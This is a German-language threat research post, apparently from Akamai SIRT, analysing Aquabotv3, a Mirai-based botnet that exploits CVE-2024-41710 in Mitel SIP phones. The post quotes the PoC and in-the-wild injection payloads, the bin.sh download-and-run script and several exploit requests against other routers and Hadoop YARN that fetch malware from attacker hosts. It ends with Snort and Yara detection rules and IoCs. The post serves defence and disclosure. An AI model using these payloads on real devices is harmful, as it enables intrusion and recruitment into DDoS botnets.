Aktiver Exploit: Neue Aquabot-Variante telefoniert nach Hause
Redaktion und weitere Kommentare von Tricia Howard
Zusammenfassung
Das Akamai Security Intelligence and Response Team (SIRT) hat eine neue Variante der Mirai-basierten Malware „Aquabot“ identifiziert, die aktiv versucht, Mitel-SIP-Telefone auszunutzen. Da dies die dritte eindeutige Version von Aquabot ist, haben wir sie Aquabotv3 genannt.
Die Malware nutzt CVE-2024-41710 aus, eine Befehlsinjektionssicherheitslücke, die Mitel-Modelle betrifft.
Diese Malware weist ein Verhalten auf, das wir noch nie zuvor mit einer Mirai-Variante gesehen haben: Es verwendet eine Funktion (report_kill), um dem Command and Control (C2) zu melden, wenn ein Kill-Signal auf dem infizierten Gerät abgefangen wurde. Wir haben zum Datum dieses Blogbeitrags keine Antwort von der C2 gesehen.
Einführung und Entdeckung
Was ist Aquabot?
Aquabot ist ein Botnet, das auf dem Mirai-Framework aufgebaut wurde und Distributed Denial of Service (DDoS) zum Ziel hat. Sein Name wird vom Dateinamen abgeleitet, der in der Analyse vorhanden ist: „Aqua“. Es ist seit November 2023 bekannt und wurde erstmals von Antiy Labs gemeldet. Es gibt derzeit drei bekannte Versionen. In diesem Blogbeitrag stellen wir die dritte Version vor.
Die erste Version ähnelte dem Mirai-Basis-Framework und die zweite Version verfügte über Verschleierungs- und Persistenzmechanismen, wie dem Verhindern des Herunterfahrens und Neustartens des Geräts. Für eine vollständige technische Analyse empfehlen wir, den Bericht von Antiys zu lesen.
Diese dritte Version fügt eine neue Aktivität für ein Mirai-basiertes Botnet hinzu: C2-Kommunikation, wenn das Botnet bestimmte Signale empfängt. Dies und andere bemerkenswerte Unterschiede in der Funktionalität trennen die beiden Versionen erheblich, was die Unterscheidung einer dritten Variante nahelegt.
Die Schwachstelle und der Proof-of-Concept des Exploits
CVE-2024-41710
CVE-2024-41710 ist eine Sicherheitsanfälligkeit für Befehlsinjektion, die Mitel-SIP-Telefone der Serien 6800, 6900 und 6900w sowie der Konferenzeinheit 6970 bis R6.4.0.HF1 (R6.4.0.136) betrifft. Sie wurde ursprünglich Mitte Juli 2024 entdeckt. Die Schwachstelle beruht auf einem Fehler bei der Eingabebereinigung und der Exploit kann zum Root-Zugriff auf das Gerät führen. Dies wurde anhand eines Proof of Concept (PoC) nachgewiesen, der Mitte August 2024 von Packetlabs-Forscher Kyle Burns auf GitHub veröffentlicht wurde.
Es sind keine Fälle bekannt, bei denen diese Sicherheitslücke vor den Beobachtungen des SIRT im Januar 2025 im freien Internet ausgenutzt wurde.
Proof of Concept des Exploits
Der Proof-of-Concept des Exploits (PoC) zeigt uns, dass ein Angreifer durch Senden einer speziell gestalteten HTTP-POST-Anfrage Einträge einschleusen könnte, die sonst durch die Bereinigungsprüfungen der Anwendung blockiert werden.
In seinem GitHub-README berichtete Burns, dass er festgestellt habe, dass das Mitel-SIP-Telefon 6869i, Firmware-Version 6.3.0.1020, die vom Nutzer bereitgestellten Eingaben nicht ordnungsgemäß bereinigt habe, und dass er mehrere Endpunkte fand, die dafür anfällig sind. Für den PoC konzentrierte er sich auf den Endpunkt „802.1x Support“ (8021xsupport.html).
Remote-Anfragen an „8021xsupport.html“ könnten verwendet werden, um die lokale Konfiguration des Geräts zu aktualisieren (/nvdata/etc/local.cfg). Durch Senden des Bytewerts von „%dt“ interpretiert die Webanwendung „linemgrSip“ dies als Zeilenendzeichen „%0d“. Dies kann während des Startvorgangs genutzt werden, wenn der Inhalt der lokalen Konfiguration des Geräts gelesen und für Startaktionen verwendet wird.
In seinem Exploit-PoC stellt Burns die folgende Payload bereit, die im HTTP POST-Parameter 802.1x+Identity angegeben ist, um die Codeausführung abzurufen.
AAAAA%dthostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <ip> | sh ;%dt%dt%dt
Während des Startvorgangs überschreibt die Anwendung den Zielhostnamen in der lokalen Konfiguration des Geräts. Der Hostname-Eintrag wird dann während des Startvorgangs verwendet und führt das vorangestellte Shell-Skript aus.
Aktiver Exploit
Das Akamai SIRT hat Anfang Januar 2025 über unser weltweites Netzwerk von Honeypots Exploit-Versuche entdeckt. Dabei wurde eine Payload verwendet, die fast identisch mit dem PoC war. Das im vorherigen Abschnitt gezeigte Payload-Beispiel zielte auf die URI „/8021xsupport.html“ ab, wird aber jetzt verwendet, um Malware im freien Internet zu verbreiten.
AAAAA%!d(string=[IP Address])thostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl http://raw2.intenseapi[.]com/bin.sh | sh ;%!d(MISSING)t%!d(MISSING)t%!d(MISSING)t
Diese Payload versucht, ein Shell-Skript namens „bin.sh“ abzurufen und auszuführen, das wiederum Mirai-Malware auf dem Zielsystem abruft und ausführt. Hier werden verschiedene Architekturen wie x86 und ARM unterstützt.
wget http://raw2.intenseapi[.]com/Aqua.x86; chmod 777 *; ./Aqua.x86 Aqua.x86;
wget http://raw2.intenseapi[.]com/Aqua.arm; chmod 777 *; ./Aqua.arm Aqua.arm;
wget http://raw2.intenseapi[.]com/Aqua.arm5; chmod 777 *; ./Aqua.arm5 Aqua.arm5;
wget http://raw2.intenseapi[.]com/Aqua.arm6; chmod 777 *; ./Aqua.arm6 Aqua.arm6;
wget http://raw2.intenseapi[.]com/Aqua.arm7; chmod 777 *; ./Aqua.arm7 Aqua.arm7;
wget http://raw2.intenseapi[.]com/Aqua.m68k; chmod 777 *; ./Aqua.m68k Aqua.m68k;
wget http://raw2.intenseapi[.]com/Aqua.mips; chmod 777 *; ./Aqua.mips Aqua.mips;
wget http://raw2.intenseapi[.]com/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl Aqua.mpsl;
wget http://raw2.intenseapi[.]com/Aqua.sh4; chmod 777 *; ./Aqua.sh4 Aqua.sh4;
rm -rf Aqua.*
Basierend auf unserer Analyse der Malware-Beispiele haben wir festgestellt, dass es sich um eine Version der Aquabot-Mirai-Variante handelt. Sie hat die meisten Ähnlichkeiten mit Aquabotv2. Sie verfügt zwar über dieselben Angriffsfunktionen, aber es gibt einige bemerkenswerte Unterschiede, die wir in den nächsten Abschnitten behandeln werden. Aufgrund dieser Weiterentwicklung der Malware haben wir sie Aquabotv3 genannt.
Malware-Analyse
Auf den ersten Blick scheint Aquabotv3 lediglich eine Standard-Mirai-Malware-Binärdatei mit typischen DDoS-Angriffsfunktionen wie Floods und Umgehungen zu sein.
[0x00008194]> afl|grep attack
0x000089f8 27 1680 sym.attack_gre_eth
0x0000c550 24 1256 sym.attack_udp_generic
0x0000b8f4 27 852 sym.attack_tcp_socket
0x0000be78 19 672 sym.attack_udp_plain
0x0000c118 20 1076 sym.attack_udp_vse
0x000084e8 8 108 sym.attack_get_opt_ip
0x0000a0fc 31 1780 sym.attack_tcp_ack
0x000085c4 1 1016 sym.attack_init
0x00009948 32 1968 sym.attack_tcp_stomp
0x000096a8 19 672 sym.attack_std
0x000081d0 13 244 sym.attack_start
0x0000aea0 31 1780 sym.attack_tcp_legit
0x000082cc 24 540 sym.attack_parse
0x0000a7f4 28 1704 sym.attack_tcp_syn
0x00008554 8 112 sym.attack_get_opt_int
0x0000bc4c 14 556 sym.attack_udp_bypass
0x0000908c 27 1560 sym.attack_gre_ip
0x0000b598 27 860 sym.attack_tcp_bypass
[0x00008194]>
Wir haben jedoch eine Funktion namens „defend_binary()“ (in Abbildung 1 als „sym.defend_binary“ zu sehen) entdeckt, die einen Signal-Handler „handle_signal()“ für die folgenden Signale einrichtet:
- Signal 15 (SIGTERM)
- Signal 2 (SIGINT)
- Signal 9 (SIGKILL)
- Signal 3 (SIGQUIT)
- Signal 20 (SIGTSTP)
- Signal 21 (SIGTTIN)
- Signal 22 (SIGTTOU)
- Signal 1 (SIGHUP)
Abbildung 1 zeigt, dass jedes dieser Signale, von der Malware erfasst wird, wenn es an das ausgeführte Malware-Beispiel gesendet wird.
Sobald das Signal erfasst wurde, setzt die Funktion „handle_signal“ ein Flag im Speicher, das anzeigt, dass das Signal abgefangen wurde und dass die Binärdatei „verteidigt“ wurde (Abbildung 2).
Das ist noch nicht alles – Aquabotv3 macht dann zu Hause Meldung. Die Funktion report_kill() sendet eine Nachricht an die C2 über TCP-Verbindung, die besagt, dass ein Signal abgefangen wurde (Abbildung 3).
Die Malware sendet auch Kill-Versuche zurück an C2 (Abbildung 4). Es scheint jedoch nicht so, als würde die C2 auf Grundlage dieser Benachrichtigung etwas zurückmelden.
Wir haben dieses Verhalten in einer Mirai-Variante bisher noch nie beobachtet, was es vielleicht zu einer neuen Funktion macht. Obwohl der wahre Grund für dieses Verhalten nicht bestätigt wurde, könnte diese Kommunikation mit der C2 eine Möglichkeit für den Botnet-Autor darstellen, den Zustand des Botnets aktiv zu überwachen.
Das Botnet enthält Funktionen, die programmiert sind, um Prozesse zu beenden, die bestimmten Anforderungen entsprechen, wie z. B. lokale Shells.
[0x00008194]> afl|grep killer
0x0000d900 15 332 sym.killer_diego
0x0000da64 18 376 sym.killer_dora_the_explorer
0x0000d324 13 664 sym.killer_im_the_map
0x0000d5dc 18 388 sym.killer_boots
0x0000ced4 42 1068 sym.killer_tico
0x0000dbf8 4 100 sym.killer_init
0x0000d77c 15 356 sym.killer_swiper
In Aquabotv2 wurden Verschleierungsmechanismen eingeführt, die auch in v3 vorhanden waren. Abbildung 5 zeigt, wie sich die Malware in „httpd.x86“ umbenennt und mit dem C2-Server 193.200.78[.]57 über Port 33966 kommuniziert.
Durch unsere dynamische Analyse des Verhaltens der Malware haben wir festgestellt, dass sie auch über Port 7733 eine Verbindung zum C2-Server von 89.190.156[.]145 herstellt. Diese Ports bleiben bei vielen der analysierten Proben gleich.
root@debian:~# lsof |grep httpd
httpd 919 larry cwd DIR 8,1 4096 9879 /home/larry
httpd 919 larry rtd DIR 8,1 4096 2 /
httpd 919 larry txt REG 8,1 62772 10798 /home/larry/Aqua.x86
httpd 919 larry 0u IPv4 23658 0t0 TCP 192.168.0.111:37892->193.200.78.57:33966 (ESTABLISHED)
httpd 919 larry 3u sock 0,8 0t0 16781 protocol: TCP
Zusätzliche anvisierte Sicherheitslücken
Wie viele andere Botnets zielt auch dieses auf eine Vielzahl anderer Schwachstellen ab, um sich weiter zu verbreiten. Wir haben beobachtet, dass sich dieselbe Aquabot-Mirai-Malware über die häufig ausgenutzte Hadoop-YARN-Schwachstelle ausbreitete. Ähnlich wie bei der zuvor diskutierten Payload ruft der Exploit dasselbe „bin.sh“-Shell-Skript ab und führt es aus, wodurch dann die Aquabot-Mirai-Malware-Variante auf einem Zielsystem abgerufen und ausgeführt wird.
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://raw2.intenseapi[.]com/bin.sh; chmod 777 bin.sh; ./bin.sh; rm -rf *"}}, "application-type": "YARN"}
Exploit der Hadoop-YARN-Schwachstelle
Einige der anderen Schwachstellen, die wir als Ziel des Botnets beobachteten, waren: CVE-2018-17532, CVE-2023-26801, CVE-2022-31137, RCE bei Linksys Serie E, CVE-2018-10562 und CVE-2018-10561. Obwohl sich die Dateinamen von der einfachen „Aqua“-Benennung von Mitel-Exploit-Versuchen unterscheiden, scheint die Malware dieser anderen Exploits dieselbe zu sein.
/cgi-bin/hotspotlogin.cgi send=1&uamip="; cd /tmp;rm -rf mips; wget http://files1.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps tplink.0day; rm -rf vsbeps #"
Ausnutzung von CVE-2018-17532
/goform/set_LimitClient_cfg time1=00:00-00:00&time2=00:00-00:00&mac=;killall -9 mpsl; killall -9 bash.mpsl; killall -9 mips; rm -rf *mpsl*; wget http://server2.eye-network[.]ru/qkehusl -O mpsl; busybox wget http://server2.eye-network[.]ru/qkehusl -O mpsl; chmod 777 mpsl; ./mpsl lbink;
Ausnutzung von CVE-2023-26801
/app/options.py show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20cd /tmp; wget http://server.eye-network[.]ru/pdvr.sh; curl -O http://server.eye-network[.]ru/pdvr.sh; chmod 777 pdvr.sh; sh pdvr.sh; ./skid.sh; rm -rf *
Ausnutzung von CVE-2022-31137
/tmUnblock.cgi submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bins.sh%3B+wget+http%3A%2F%2Fserver.eye-network[.]ru%2Fwget.sh%3B+chmod+777+wget.sh%3B+sh+wget.sh+linksys%60&StartEPI=1
Ausnutzung von RCE bei Linksys Serie
/GponForm/diag_Form?images/ XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon`;cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon&ipv=0
Ausnutzung von CVE-2018-10562 und CVE-2018-10561
DDoS-as-a-Service
Außerdem haben wir festgestellt, dass die Cyberkriminellen hinter Aquabot dieses Botnet über Plattformen wie Telegram als DDoS-Service bewerben (Abbildung 6). Es wurde unter verschiedenen Namen für Layer-4- und Layer-7-DDoS angeboten. Die Namenskonventionen variieren, einige sind irreführend in Bezug auf ihren wahren Zweck: Cursinq Firewall, The Eye Services und The Eye Botnet.
Cyberkriminelle behaupten häufig, dass das Botnet nur für DDoS-Abwehrtests verwendet wird, um Forscher oder Strafverfolgungsbehörden in die Irre zu führen. Sie behaupten, es sei nur ein PoC oder etwas Informatives, aber eine tiefere Analyse zeigt, dass sie tatsächlich DDoS-as-a-Service bewerben oder dass die Besitzer sich damit rühmen, ihr eigenes Botnet auf Telegram zu betreiben.
In der Werbung in Abbildung 6 beispielsweise hat genau diese Domain, bei der es sich angeblich um „reine Testplattformen“ für „DDoS-Abwehrsysteme“ handelt, aktiv Mirai-Malware verbreitet.
Mirai und DDoS gehen Hand in Hand
DDoS stellt nach wie vor eine allgegenwärtige Bedrohung für viele Unternehmen dar. Botnets wie Aquabot spielen dabei eine wichtige Rolle. Da die meisten dieser Botnets auf Mirai-Malware basieren, zielen sie vor allem auf Geräte des Internets der Dinge (IoT) ab, was die Verbreitung der Malware relativ einfach macht.
Der ROI von Mirai für einen angehenden Botnet-Autor ist hoch. Mirai ist eine der erfolgreichsten Botnet-Familien der Welt und auch eine, die sich recht einfach modifizieren lässt. Diesen IoT-Maschinen fehlen häufig die richtigen Sicherheitsfunktionen, sie haben die End-of-Service-Phase erreicht oder sie erhalten Standardkonfigurationen und Passwörter (entweder aufgrund von Vernachlässigung oder mangelndem Wissen über die Gefahren).
Im Fall von Aquabot ist die Kernmalware dieselbe wie Mirai, aber die Signalverarbeitung ist besonders einzigartig. Einzigartig bedeutet jedoch nicht immer besonders nützlich – diese Malware ging nicht gerade geräuscharm vor, was zu ihrem Nachteil sein könnte.
Der Grund für die einzigartige Signalverarbeitung könnte darin liegen, dass der Cyberkriminelle absichtlich die Defensivaktivität einer Maschine beobachtet, um in der Zukunft schwerer aufzuspürende Varianten zu entwickeln. Sie könnte auch verwendet werden, um aktive Unterbrechungen/Angriffe durch konkurrierende Botnets oder ethische Take-Down-Kampagnen oder eine beliebige Kombination davon zu erkennen.
Werden Sie aktiv
Was auch immer die Absichten des Angreifers sind, Maßnahmen auf unsicheren IoT-Geräten (z. B. Erkennung und Änderung der Standard-Anmeldedaten) können sich Kampf gegen DDoS als hilfreich erweisen. Viele dieser Botnets sind für die Authentifizierung auf gemeinsame Passwortbibliotheken angewiesen. Finden Sie heraus, wo sich Ihre bekannten IoT-Geräte befinden, und suchen Sie auch nach nicht autorisierten Geräten. Überprüfen Sie die Anmeldedaten und ändern Sie sie, wenn sie standardmäßig oder einfach zu erraten sind.
Weitere Informationen
Das Akamai SIRT wird weiterhin Bedrohungen für die Sicherheit unserer Kunden, Kollegen und die gesamte Sicherheitscommunity (wie CVE-2024-41710) überwachen und melden. Um von unseren aktuellen Erkenntnissen zu profitieren, können Sie uns in den sozialen Medien folgen oder unsere Seite für Sicherheitsforschung besuchen.
Indicators of Compromise
Wir haben eine Liste von IoCs (Indicators of Compromise) sowie Snort- und Yara-Regeln zusammengestellt, um Sicherheitsteams zu unterstützen.
Snort-Regeln für Netzwerk-IoCs
Snort-Regeln für schädliche IPs
# Outbound traffic TO any of these malicious IPs
alert ip any any -> [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any \
(msg:"Malicious IP Outbound Traffic"; \
sid:1000001; rev:1; \
classtype:botnet-activity; \
priority:1; )
# Inbound traffic FROM any of these malicious IPs
alert ip [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any -> any any \
(msg:"Malicious IP Inbound Traffic"; \
sid:1000002; rev:1; \
classtype:botnet-activity; \
priority:1; )
Snort-Regeln für die Erkennung der C2-Domainauflösung
alert udp any any -> any 53 (
msg:"Malicious domain DNS query (subdomains included)";
;;; For Snort 2.9.9+ or Snort 3, if using the 'dns_query' keyword:
dns_query;
pcre:"/(?:^|\.)dogmuncher\.xyz$|(?:^|\.)cardiacpure\.ru$|(?:^|\.)fuerer-net\.ru$|(?:^|\.)eye-network\.ru$|(?:^|\.)intenseapi\.com$|(?:^|\.)cloudboats\.vip$|(?:^|\.)theeyefirewall\.su$|(?:^|\.)awaken-network\.net$/i";
classtype:botnet-activity;
sid:1000001;
rev:1;
priority:1;
)
Yara-Regeln für Malware-Samples
import "hash"
rule Malicious_Malware_IOCs
{
meta:
description = "Detects suspicious samples referencing known malicious infrastructure and strings"
strings:
// --- IP addresses (as ASCII) ---
$ip1 = "89.190.156.145"
$ip2 = "91.92.243.233"
$ip3 = "213.130.144.69"
$ip4 = "154.216.16.109"
$ip5 = "193.200.78.33"
$ip6 = "173.239.233.47"
$ip7 = "141.98.11.67"
$ip8 = "141.98.11.175"
$ip9 = "173.239.233.48"
$ip10 = "173.239.233.46"
// --- Domain names (as ASCII) ---
$dom1 = "dogmuncher.xyz"
$dom2 = "cardiacpure.ru"
$dom3 = "fuerer-net.ru"
$dom4 = "eye-network.ru"
$dom5 = "intenseapi.com"
$dom6 = "cloudboats.vip"
$dom7 = "theeyefirewall.su"
$dom8 = "awaken-network.net"
// --- Unique strings from malware analysis ---
$str_locker_killed = "[locker] killed process: %s"
$str_killer_node = "[killer/node] killed process: %s"
$str_killer_cpu = "[killer/cpu] killed process: %s"
$str_killer_cmd = "[killer/cmd] killed process: %s"
$str_killer_stat = "[killer/stat] killed process: %s"
$str_killer_exe = "[killer/exe] killed process: %s"
$str_killer_maps = "[killer/maps] killed process: %s"
condition:
any of ($ip*) or // Match if any malicious IP is found in ASCII form
any of ($dom*) or // Match if any malicious domain is found in ASCII form
any of ($str_killer*) or ($str_locker_killed)
}
rule Known_Malicious_Files_by_SHA256
{
meta:
description = "Detects files matching known malicious SHA-256 hashes"
hash_list = "6 known malicious samples"
condition:
hash.sha256(0, filesize) in (
"597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86",
"6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec",
"b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b",
"b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de",
"1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef",
"e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3"
)
}
IPv4-Adressen der historischen Infrastruktur
89.190.156.145
91.92.243.233
213.130.144.69
154.216.16.109
193.200.78.33
173.239.233.47
141.98.11.67
141.98.11.175
173.239.233.48
173.239.233.46
Domains für C2- und Malware-Verteilungs-Endpunkte
dogmuncher.xyz
cardiacpure.ru
fuerer-net.ru
eye-network.ru
intenseapi.com
cloudboats.vip
theeyefirewall.su
awaken-network.net
SHA256-Hashes
597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86
6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec
b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b
b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de
1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef
e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3